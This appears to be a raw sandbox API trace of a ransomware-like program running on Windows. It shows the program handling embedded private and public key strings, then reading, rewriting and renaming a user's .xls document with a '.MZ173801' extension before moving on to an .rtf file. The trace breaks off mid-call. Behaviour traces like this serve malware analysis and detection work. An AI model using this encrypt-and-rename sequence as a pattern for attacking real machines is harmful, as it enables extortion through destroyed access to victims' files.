lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0170.620] GetCurrentThreadId () returned 0xab4 [0170.620] GetCurrentThreadId () returned 0xab4 [0170.620] GetCurrentThreadId () returned 0xab4 [0170.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0170.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0170.621] GetCurrentThreadId () returned 0xab4 [0170.621] GetCurrentThreadId () returned 0xab4 [0170.621] GetCurrentThreadId () returned 0xab4 [0170.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\0anbzc4wy3qv.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0170.621] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0170.621] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0170.621] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x16db6 [0170.622] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0170.622] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x16db6, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x16db6, lpOverlapped=0x0) returned 1 [0170.623] CloseHandle (hObject=0x27c) returned 1 [0171.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\0anbzc4wy3qv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.191] WriteFile (in: hFile=0x27c, lpBuffer=0x24e0e00*, nNumberOfBytesToWrite=0x16db6, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24e0e00*, lpNumberOfBytesWritten=0x19f48c*=0x16db6, lpOverlapped=0x0) returned 1 [0171.194] CloseHandle (hObject=0x27c) returned 1 [0171.194] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\0anbzc4wy3qv.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\0anbzC4wy3QV.xls.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\0anbzc4wy3qv.xls.mz173801")) returned 1 [0171.195] GetCurrentThreadId () returned 0xab4 [0171.195] GetCurrentThreadId () returned 0xab4 [0171.195] GetCurrentThreadId () returned 0xab4 [0171.195] GetCurrentThreadId () returned 0xab4 [0171.195] GetCurrentThreadId () returned 0xab4 [0171.195] GetCurrentThreadId () returned 0xab4 [0171.195] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cc23d60, ftCreationTime.dwHighDateTime=0x1d5e76c, ftLastAccessTime.dwLowDateTime=0xb5764290, ftLastAccessTime.dwHighDateTime=0x1d5ee6d, ftLastWriteTime.dwLowDateTime=0xb5764290, ftLastWriteTime.dwHighDateTime=0x1d5ee6d, nFileSizeHigh=0x0, nFileSizeLow=0x7725, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Bim9Uz1pL.rtf", cAlternateFileName="BIM9UZ~1.RTF")) returned 1 [0171.195] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.195] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.195] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\bim9uz1pl.rtf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cc23d60, ftCreationTime.dwHighDateTime=0x1d5e76c, ftLastAccessTime.dwLowDateTime=0xb5764290, ftLastAccessTime.dwHighDateTime=0x1d5ee6d, ftLastWriteTime.dwLowDateTime=0xb5764290, ftLastWriteTime.dwHighDateTime=0x1d5ee6d, nFileSizeHigh=0x0, nFileSizeLow=0x7725)) returned 1 [0171.196] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\bim9uz1pl.rtf")) returned 0x20 [0171.196] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Bim9Uz1pL.rtf", dwFileAttributes=0x80) returned 1 [0171.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 